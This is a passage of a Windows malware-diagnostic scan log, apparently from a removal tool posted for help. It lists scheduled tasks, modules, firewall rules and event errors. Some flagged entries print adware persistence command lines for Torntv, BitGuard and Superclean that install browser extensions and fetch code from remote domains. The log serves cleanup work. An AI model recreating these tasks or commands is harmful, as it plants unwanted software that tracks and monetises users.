C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe [2012-07-25] (ASUSTeK Computer Inc.) Task: {5DE6B83F-4231-4F0A-8275-E2764C88F682} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files (x86)\Apple Software Update\SoftwareUpdate.exe [2011-06-01] (Apple Inc.) Task: {6737E9FB-05D5-425D-BBC6-2DC9B04683CC} - System32\Tasks\ASUS InstantOn Config => C:\Program Files (x86)\ASUS\ASUS InstantOn\InsOnCfg.exe [2012-08-06] (ASUS) Task: {78D00092-7782-4736-B420-C33FCE2C09DC} - System32\Tasks\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime => C:\Windows\system32\GWX\GWXUXWorker.exe [2015-12-05] (Microsoft Corporation) Task: {8CEE67A0-898C-4145-B05C-75CC22663803} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-10-29] (Google Inc.) Task: {91855D25-A14C-4B1F-B80C-86AE4A33A3CD} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2015-12-09] (Microsoft Corporation) Task: {98ECFBE5-3BB4-4B57-BCC9-BB4BE61BBDF1} - System32\Tasks\DropboxUpdateTaskUserS-1-5-21-2357267511-2638639882-2966789438-1001Core => C:\Users\Steven\AppData\Local\Dropbox\Update\DropboxUpdate.exe [2015-06-25] (Dropbox, Inc.) Task: {9D6F0393-B7F7-4460-A6DE-4CCB0CBFCDAF} - System32\Tasks\BitGuard => Sc.exe start BitGuard <==== ATTENTION Task: {A338827D-8122-46BB-8A12-32CA6F92C00F} - System32\Tasks\Torntv V6.0-chromeinstaller => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-chromeinstaller.exe <==== ATTENTION Task: {A5012DB8-C68E-49EF-9ED8-9C554B3CB1EE} - \AdobeFlashPlayerUpdate -> No File <==== ATTENTION Task: {A801AD36-E8F9-4C1F-888F-1B5CA87C1FB8} - System32\Tasks\Torntv V6.0-updater => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-updater.exe <==== ATTENTION Task: {B88BE1B8-0E26-4F70-9E6B-2A2C176B8EB0} - System32\Tasks\ASUS USB Charger Plus => C:\Program Files (x86)\ASUS\USBChargerPlus\USBChargerPlus.exe [2012-07-24] (ASUSTek Computer Inc.) Task: {BA48FCCD-F364-42BF-B684-E7B4DCC4D3D1} - System32\Tasks\Microsoft\Windows\UPnP\UPnPHostConfig => config upnphost start= auto Task: {CC769FD0-51C7-4028-B46C-D1D9C2E00FD3} - \AdobeFlashPlayerUpdate 2 -> No File <==== ATTENTION Task: {CEBDE159-9F37-4C53-84AE-9CDA304FA14D} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files\Microsoft Office 15\root\vfs\ProgramFilesCommonx86\Microsoft Shared\OFFICE15\OLicenseHeartbeat.exe [2015-12-12] (Microsoft Corporation) Task: {D19B43FA-71F1-4DBC-A31F-65F119215C8B} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Microsoft Office 15\ClientX64\OfficeC2RClient.exe [2015-10-13] (Microsoft Corporation) Task: {E37E3BB3-97C1-4B09-8BDD-7790CFADEB8C} - System32\Tasks\ASUS P4G => C:\Program Files\ASUS\P4G\BatteryLife.exe [2012-08-04] (ASUS) (If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.) Task: C:\WINDOWS\Tasks\DropboxUpdateTaskUserS-1-5-21-2357267511-2638639882-2966789438-1001Core.job => C:\Users\Steven\AppData\Local\Dropbox\Update\DropboxUpdate.exe Task: C:\WINDOWS\Tasks\DropboxUpdateTaskUserS-1-5-21-2357267511-2638639882-2966789438-1001UA.job => C:\Users\Steven\AppData\Local\Dropbox\Update\DropboxUpdate.exe Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe Task: C:\WINDOWS\Tasks\Superclean.job => c:\programdata\{ae31b6ce-000e-3fe2-ae31-1b6ce000db38}\hqghumeaylnlf.exe <==== ATTENTION Task: C:\WINDOWS\Tasks\Torntv V6.0-chromeinstaller.job => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-chromeinstaller.exeΕ/installcrx /agentregpath='Torntv V6.0' /extensionfilepath C:\Program Files (x86)\Torntv V6.0\45960.crx' /appid=45960 /srcid='000686' /subid='0' /zdata='0' /bic=232F7282236C4B42BD7521B2ED4F63CCIE /verifier=c5d04a89191c42209dbc163d753fc6f7 /installerversion=1_34_1_21 /installerfullversion=1.34.1.21 /installationtime=1391016600 /statsdomain=hxxp:/stats.srvstatsdata.com /errorsdomain=hxxp:/errors.srvstatsdata.com /waitforbrowser=300 /extensionid=ahmilhmcinpmpohfoiccaplbhgelbnim /extensionversion=1.26.71 /extensionpublickey=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7jTNxL7h3FB/7RViD415XIgSs8u7OpVFlyS3MJgMtHVkPLpmLyt0lr1jUfjaFytjaPQSJYipB9zgxntsyN9pMFhVI3YuKm2jfCfBc0asZ2Ys4AhxagcKp/y0Ofkp8Rb4xe+gD4tDbDo436Q8GyehUWSHyrPtB4lODcQxHVZ+EzQIDAQAB /defbro=ch /allusers /allprofiles /autoupdateulr='hxxp:/update.srvstatsdata.com/ch_agent_updates/{CAMP_ID}/update.jso <==== ATTENTION Task: C:\WINDOWS\Tasks\Torntv V6.0-codedownloader.job => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-codedownloader.exeȰ/reinstallapp /runfrom=task /agentregpath='Torntv V6.0' /appid=45960 /srcid='000686' /subid='0' /zdata='0' /bic=232F7282236C4B42BD7521B2ED4F63CCIE /verifier=c5d04a89191c42209dbc163d753fc6f7 /installerversion=1_34_1_21 /installerfullversion=1.34.1.21 /installationtime=1391016600 /statsdomain=hxxp:/stats.srvstatsdata.com /errorsdomain=hxxp:/errors.srvstatsdata.com /codedownloaddomain=hxxp:/cr.install-daddy.com /defbro=ch /allusers /autoupdateulr='hxxp:/update.srvstatsdata.com/ie_code_agent_updates/{CAMP_ID}/update.jso <==== ATTENTION Task: C:\WINDOWS\Tasks\Torntv V6.0-enabler.job => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-enabler.exeǿ/enablebho /agentregpath='Torntv V6.0' /appid=45960 /srcid='000686' /subid='0' /zdata='0' /bic=232F7282236C4B42BD7521B2ED4F63CCIE /verifier=c5d04a89191c42209dbc163d753fc6f7 /installerversion=1_34_1_21 /installationtime=1391016600 /statsdomain=hxxp:/stats.srvstatsdata.com /errorsdomain=hxxp:/errors.srvstatsdata.com /bhoguid=11111111-1111-1111-1111-110411591160 /defbro=ch /allusers /autoupdateulr='hxxp:/update.srvstatsdata.com/ie_enable_agent_updates/{CAMP_ID}/update.jso <==== ATTENTION Task: C:\WINDOWS\Tasks\Torntv V6.0-firefoxinstaller.job => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-firefoxinstaller.exeД/installxpi /agentregpath='Torntv V6.0' /extensionfilepath C:\Program Files (x86)\Torntv V6.0\45960.xpi' /appid=45960 /srcid='000686' /subid='0' /zdata='0' /bic=232F7282236C4B42BD7521B2ED4F63CCIE /verifier=c5d04a89191c42209dbc163d753fc6f7 /installerversion=1_34_1_21 /installerfullversion=1.34.1.21 /installationtime=1391016600 /statsdomain=hxxp:/stats.srvstatsdata.com /errorsdomain=hxxp:/errors.srvstatsdata.com /waitforbrowser=300 /extensionid=[removed] /extensionversion=0.93 /prefsbranch=ae2fd07a6e2824f2e896585565fcb6384b69158e63c3b476c9d98ae5838c5b707com45960 /updateurl=hxxps:/w9u6a2p6.ssl.hwcdn.net/plugin/ff/update/45960.rdf /extensionname='Torntv V6.0' /extensiondesc='The must-have App extensions for Television fans! Watch free TV channels, live sports and more' /publishername='installdaddy' /defbro=ch /allusers /allprofiles /checkfflist /autoupdateulr='hxxp:/update.srvstatsdata.com/ff_agent_updates/{CAMP_ID}/update.jso <==== ATTENTION Task: C:\WINDOWS\Tasks\Torntv V6.0-updater.job => C:\Program Files (x86)\Torntv V6.0\Torntv V6.0-updater.exeɕ/runupdater /agentregpath='Torntv V6.0' /appid=45960 /srcid='000686' /subid='0' /zdata='0' /bic=232F7282236C4B42BD7521B2ED4F63CCIE /verifier=c5d04a89191c42209dbc163d753fc6f7 /installerversion=1_34_1_21 /installationtime=1391016600 /statsdomain=hxxp:/stats.srvstatsdata.com /errorsdomain=hxxp:/errors.srvstatsdata.com /geoserviceurl=hxxp:/ipgeoapi.com/ /updatejsondomain=hxxp:/update.srvstatsdata.com /updaterversion=2 /monetizationdomain=hxxp:/stats.syncstatsdata.com /autoupdateulr='hxxp:/update.srvstatsdata.com/updater_agent_updates/{CAMP_ID}/update.jso <==== ATTENTION ==================== Shortcuts ============================= (The entries could be listed to be restored or removed.) ==================== Loaded Modules (Whitelisted) ============== 2014-07-02 01:05 - 2015-10-13 04:34 - 00105640 _____ () C:\Program Files\Microsoft Office 15\ClientX64\ApiClient.dll 2012-08-04 10:34 - 2012-08-04 10:34 - 00031360 _____ () C:\Program Files\ASUS\P4G\DevMng.dll 2015-10-28 12:51 - 2015-09-01 17:04 - 08901184 _____ () C:\Program Files\Microsoft Office 15\root\VFS\ProgramFilesX64\Microsoft Office\Office15\1033\GrooveIntlResource.dll 2013-09-05 00:17 - 2013-09-05 00:17 - 04300456 _____ () C:\Program Files\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF 2010-10-20 15:23 - 2010-10-20 15:23 - 08801632 _____ () C:\Program Files\Microsoft Office\Office14\1033\GrooveIntlResource.dll 2012-09-14 06:24 - 2012-08-16 11:04 - 00078480 _____ () C:\Program Files (x86)\VIA\VIAudioi\VDeck\QsApoApi64.dll 2012-09-14 06:24 - 2012-08-16 11:04 - 00386192 _____ () C:\Program Files (x86)\VIA\VIAudioi\VDeck\Dts2ApoApi64.dll 2013-09-05 00:17 - 2013-09-05 00:17 - 04300456 _____ () C:\Program Files\Common Files\Microsoft Shared\office14\Cultures\office.odf 2013-01-28 13:08 - 2013-01-28 13:08 - 00087952 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll 2013-01-28 13:08 - 2013-01-28 13:08 - 01242512 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll 2012-09-14 06:22 - 2012-06-25 10:41 - 01198912 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\ACE.dll 2012-06-07 14:12 - 2012-06-07 14:12 - 00009216 _____ () C:\Program Files (x86)\ASUS\Splendid\GLCDdll.dll 2015-12-12 04:45 - 2015-10-31 01:59 - 00034768 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_multiprocessing.pyd 2015-12-12 04:44 - 2015-10-31 02:00 - 00019408 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\faulthandler.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00022848 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\Crypto.Random.OSRNG.winrandom.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00023352 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\Crypto.Util._counter.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00042296 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\Crypto.Cipher._AES.pyd 2015-12-12 04:45 - 2015-10-31 01:59 - 00116688 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\pywintypes27.dll 2015-12-12 04:45 - 2015-10-31 01:59 - 00093640 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_ctypes.pyd 2015-12-12 04:45 - 2015-10-31 01:59 - 00018376 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\select.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00019760 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\tornado.speedups.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00105928 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32api.pyd 2015-12-12 04:45 - 2015-10-31 01:59 - 00392144 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\pythoncom27.dll 2015-12-12 04:45 - 2015-12-08 22:36 - 00381752 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32com.shell.shell.pyd 2015-12-12 04:45 - 2015-10-31 01:59 - 00692688 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\unicodedata.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00020816 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\cryptography.hazmat.bindings._constant_time.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00109520 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_cffi_backend.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 01737032 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\cryptography.hazmat.bindings._openssl.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00020808 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\cryptography.hazmat.bindings._padding.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00020800 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_cffi_python_x66cf7a7cx17a72769.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00021840 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_cffi_unicode_environ_win32_x8bf8e68bx9968e850.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00038696 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\fastpath.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00024528 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32event.pyd 2015-12-12 04:44 - 2015-10-31 02:00 - 00020936 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\mmapfile.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00114640 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32security.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00021320 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_cffi_pywin_kernel32_xde9e4433x360333f0.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00124880 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32file.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00030160 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32pipe.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00043472 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32process.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00175560 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32gui.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00028616 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32ts.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00024016 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32clipboard.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00048592 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32service.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00024392 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\librsyncffi.compiled._librsyncffi.pyd 2015-12-12 04:44 - 2015-10-31 02:00 - 00036296 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\librsync.dll 2015-12-12 04:45 - 2015-10-31 02:00 - 00024016 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32profile.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00117056 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\breakpad.client.windows.handler.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00023376 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\winscreenshot.compiled._CaptureScreenshot.pyd 2015-12-12 04:45 - 2015-10-31 01:59 - 00134608 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_elementtree.pyd 2015-12-12 04:44 - 2015-10-31 01:59 - 00134088 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\pyexpat.pyd 2015-12-12 04:44 - 2015-10-31 02:00 - 00240584 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\jpegtran.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00020280 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\cpuid.compiled._cpuid.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00052024 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\psutil._psutil_windows.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00021304 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\Crypto.Util.strxor.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00350152 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\winxpgui.pyd 2015-12-12 04:44 - 2015-12-08 22:36 - 00084792 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\dropbox_sqlite_ext.DLL 2015-12-12 04:44 - 2015-12-08 22:36 - 01826608 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtCore.pyd 2015-12-12 04:45 - 2015-10-31 02:00 - 00083912 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\sip.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 03891504 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtWidgets.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 01950000 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtGui.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00519984 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtNetwork.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00133936 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtWebKit.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00225080 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtWebKitWidgets.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00207672 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtPrintSupport.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00024904 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\_cffi_wpad_proxy_win_x752e3d61xdcfdcc84.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00486704 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtQuick.pyd 2015-12-12 04:45 - 2015-12-08 22:36 - 00357680 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\PyQt5.QtQml.pyd 2015-12-12 04:45 - 2015-10-31 02:01 - 00019920 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\QtQuick.2\qtquick2plugin.dll 2015-10-02 11:21 - 2015-10-31 02:00 - 00786904 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\QtQuick\Controls\qtquickcontrolsplugin.dll 2015-12-12 04:45 - 2015-10-31 02:00 - 00063448 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\QtQuick\Layouts\qquicklayoutsplugin.dll 2015-12-12 04:45 - 2015-10-31 02:00 - 00019408 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\QtQuick\Window.2\windowplugin.dll 2015-12-12 04:45 - 2015-10-31 02:00 - 00060880 _____ () C:\Users\Steven\AppData\Roaming\Dropbox\bin\win32print.pyd 2013-03-23 16:30 - 2006-07-14 10:48 - 00045056 _____ () C:\Program Files (x86)\Philips\Media Manager\bin\win\cdnotify.dll 2013-03-23 16:30 - 2006-07-14 10:48 - 00045056 _____ () C:\Program Files (x86)\Philips\Media Manager\bin\win\usbnotify.dll 2013-09-05 00:14 - 2013-09-05 00:14 - 04300456 _____ () C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\Cultures\OFFICE.ODF 2010-10-20 15:45 - 2010-10-20 15:45 - 08801120 _____ () C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveIntlResource.dll 2015-12-16 22:24 - 2015-12-11 04:54 - 01583432 _____ () C:\Program Files (x86)\Google\Chrome\Application\47.0.2526.106\libglesv2.dll 2015-12-16 22:24 - 2015-12-11 04:54 - 00081224 _____ () C:\Program Files (x86)\Google\Chrome\Application\47.0.2526.106\libegl.dll 2010-11-15 21:02 - 2010-11-15 21:02 - 00249232 _____ () C:\Program Files (x86)\Adobe\Reader 10.0\Reader\sqlite.dll 2015-12-24 21:50 - 2015-12-24 07:46 - 16792256 _____ () C:\Users\Steven\AppData\Local\Google\Chrome\User Data\PepperFlash\20.0.0.267\pepflashplayer.dll ==================== Alternate Data Streams (Whitelisted) ========= (If an entry is included in the fixlist, only the ADS will be removed.) ==================== Safe Mode (Whitelisted) =================== (If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.) ==================== EXE Association (Whitelisted) =============== (If an entry is included in the fixlist, the registry item will be restored to default or removed.) ==================== Internet Explorer trusted/restricted =============== (If an entry is included in the fixlist, it will be removed from the registry.) ==================== Hosts content: =============================== (If needed Hosts: directive could be included in the fixlist to reset Hosts.) 2013-08-22 14:25 - 2013-08-22 14:25 - 00000824 ____A C:\WINDOWS\system32\Drivers\etc\hosts ==================== Other Areas ============================ (Currently there is no automatic fix for this section.) HKU\S-1-5-21-2357267511-2638639882-2966789438-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Steven\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\windows photo viewer wallpaper.jpg DNS Servers: [removed] - [removed] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) Windows Firewall is enabled. ==================== MSCONFIG/TASK MANAGER disabled items == (Currently there is no automatic fix for this section.) ==================== FirewallRules (Whitelisted) =============== (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.) FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139 FirewallRules: [{9AB00197-5B7D-4E54-BA2C-2D00A17312FC}] => (Allow) C:\Program Files\HP\HP Deskjet 5520 series\Bin\HPNetworkCommunicatorCom.exe FirewallRules: [{B679E808-7300-4110-8696-6303199A680E}] => (Allow) C:\Program Files\HP\HP Deskjet 5520 series\Bin\HPNetworkCommunicator.exe FirewallRules: [{31B2B7ED-B30B-44E2-A08A-8A6D99947F55}] => (Allow) C:\Program Files\HP\HP Deskjet 5520 series\Bin\DeviceSetup.exe FirewallRules: [{3C9462E0-4C63-48CD-9233-89472261DA57}] => (Allow) C:\Program Files\Microsoft Office 15\root\Office15\outlook.exe FirewallRules: [{8D3A3B64-51FB-494E-B77E-027FA1315028}] => (Allow) C:\Users\Steven\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe FirewallRules: [{2C86AB5F-F7BE-427D-81F3-5DFD09D88CFF}] => (Allow) C:\Users\Steven\AppData\Roaming\Dropbox\bin\Dropbox.exe FirewallRules: [{A54245D3-6F2D-49FC-A933-F951A4208DBC}] => (Allow) C:\Users\Steven\AppData\Roaming\Dropbox\bin\Dropbox.exe FirewallRules: [{43F000DF-27F5-4124-9714-75DF1675838B}] => (Allow) C:\Users\Steven\AppData\Roaming\Dropbox\bin\Dropbox.exe FirewallRules: [{10A31208-838E-4750-A857-77CE45835BB8}] => (Allow) C:\Users\Steven\AppData\Roaming\Dropbox\bin\Dropbox.exe FirewallRules: [{0E1E4D8F-2692-4439-8CCD-981097EEB5DA}] => (Allow) C:\Program Files (x86)\iTunes\iTunes.exe FirewallRules: [{1B0F8E3F-9427-4531-B2EE-D9636DD84388}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe FirewallRules: [{C534C250-80EC-4271-81C5-494912CA14B5}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe FirewallRules: [{B285F9A8-5C0C-4418-884F-48A7D698C36D}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe FirewallRules: [{5E7ABFD4-E332-45F3-AFFA-E7DF208868BB}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe FirewallRules: [{C7094A66-8980-4055-B3A5-49BC5F7BDB3F}] => (Allow) C:\Program Files (x86)\Common Files\Apple\Apple Application Support\WebKit2WebProcess.exe FirewallRules: [{08C27659-84B7-4C51-B9B2-B328C278B0B6}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe FirewallRules: [{10957BA9-4ACA-490E-A37A-51A2C1EFBDE7}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe FirewallRules: [{94921070-F7A8-46EA-A93F-98DF4AA6A5E6}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD10\PowerDVD10.EXE FirewallRules: [{4B7CD19F-6951-4374-87BF-9F52B967243B}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD10\PowerDVD Cinema\PowerDVDCinema10.exe FirewallRules: [{D7E89D3A-4AAD-4931-B64D-66A149FE6386}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe FirewallRules: [{A60C517B-B392-4EBC-ABF4-3BCFAB10AACD}] => (Allow) C:\Program Files\Common Files\mcafee\mcsvchost\McSvHost.exe FirewallRules: [TCP Query User{6B114FDE-8BC5-46F5-90EC-B02800786721}C:\program files (x86)\philips\media manager\philips media manager.exe] => (Block) C:\program files (x86)\philips\media manager\philips media manager.exe FirewallRules: [UDP Query User{65991931-5D71-47EA-8167-CB6C17159D97}C:\program files (x86)\philips\media manager\philips media manager.exe] => (Block) C:\program files (x86)\philips\media manager\philips media manager.exe FirewallRules: [TCP Query User{F88AE31E-C7A2-4F6C-A2AB-E03BA83DF2FC}C:\program files (x86)\philips\media manager\philips media manager.exe] => (Block) C:\program files (x86)\philips\media manager\philips media manager.exe FirewallRules: [UDP Query User{ACCF1134-5E4E-4BAF-AC64-268419F34EF2}C:\program files (x86)\philips\media manager\philips media manager.exe] => (Block) C:\program files (x86)\philips\media manager\philips media manager.exe FirewallRules: [TCP Query User{E4ADBC66-44F0-4A1A-A280-63FB6DA5DDDA}F:\easysetupassistant\tl-wdr3600\easysetupassistant.exe] => (Allow) F:\easysetupassistant\tl-wdr3600\easysetupassistant.exe FirewallRules: [UDP Query User{65B9C9FF-0F36-402C-9146-3629C8179C71}F:\easysetupassistant\tl-wdr3600\easysetupassistant.exe] => (Allow) F:\easysetupassistant\tl-wdr3600\easysetupassistant.exe FirewallRules: [TCP Query User{3361672D-C43F-47B4-822F-4601E0EE7F6E}C:\program files (x86)\skype\phone\skype.exe] => (Allow) C:\program files (x86)\skype\phone\skype.exe FirewallRules: [TCP Query User{054FE1B5-5A8B-4BC2-A64F-C2F866BEC71C}C:\program files (x86)\skype\phone\skype.exe] => (Block) C:\program files (x86)\skype\phone\skype.exe FirewallRules: [UDP Query User{4796B8C2-A6BD-4A8E-8CF6-502E15F9A60A}C:\program files (x86)\skype\phone\skype.exe] => (Block) C:\program files (x86)\skype\phone\skype.exe FirewallRules: [{5EB9FA93-29A6-4CE2-BC1C-6F76B05E6729}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe ==================== Restore Points ========================= 12-12-2015 16:56:22 Chrome Cleanup Tool 15-12-2015 17:12:28 Windows Update 18-12-2015 17:22:22 Windows Update 21-12-2015 17:25:16 Windows Update 26-12-2015 12:06:42 Windows Update 29-12-2015 12:10:55 Windows Update ==================== Faulty Device Manager Devices ============= ==================== Event log errors: ========================= Application errors: ================== Error: (12/31/2015 09:08:13 AM) (Source: Customer Experience Improvement Program) (EventID: 1008) (User: ) Description: 80070005 Error: (12/30/2015 11:01:40 PM) (Source: Office 2013 Licensing Service) (EventID: 0) (User: ) Description: Subscription licensing service failed: -1073422302 Error: (12/30/2015 07:35:12 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: m->NextScheduledSPRetry 138922 Error: (12/30/2015 07:35:12 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: m->NextScheduledEvent 138922 Error: (12/30/2015 07:35:12 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: Continuously busy for more than a second Error: (12/30/2015 07:33:33 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: m->NextScheduledSPRetry 39328 Error: (12/30/2015 07:33:33 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: m->NextScheduledEvent 39328 Error: (12/30/2015 07:33:33 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: Continuously busy for more than a second Error: (12/30/2015 07:33:29 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: m->NextScheduledSPRetry 35828 Error: (12/30/2015 07:33:29 PM) (Source: Bonjour Service) (EventID: 100) (User: ) Description: Task Scheduling Error: m->NextScheduledEvent 35828 System errors: ============= Error: (12/31/2015 12:36:17 PM) (Source: Microsoft-Windows-WindowsUpdateClient) (EventID: 20) (User: NT AUTHORITY) Description: Installation Failure: Windows failed to install the following update with error 0x80070490: Hewlett-Packard - Imaging - 